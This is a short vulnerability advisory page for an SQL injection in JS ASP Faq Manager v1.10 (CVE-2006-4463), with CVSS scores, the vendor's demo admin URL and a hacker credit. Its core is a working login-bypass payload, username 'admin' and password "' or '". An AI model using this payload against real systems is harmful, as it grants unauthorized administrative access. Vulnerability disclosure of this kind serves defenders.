JS ASP Faq Manager v1.10 sql injection

2006.09.02

Credit: s3rv3r_hack3r

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-4463

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

JS ASP Faq Manager v1.10

vendor : http://jetstat.com/

Demo : http://jetstat.com/demo/jsfaq/admin/

By : s3rv3r_hack3r

Site : www.hackerz.ir & www.h4kerz.com

U can login to administrator control panel with >>

user : admin

pass : ' or '

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

JS ASP Faq Manager v1.10 sql injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.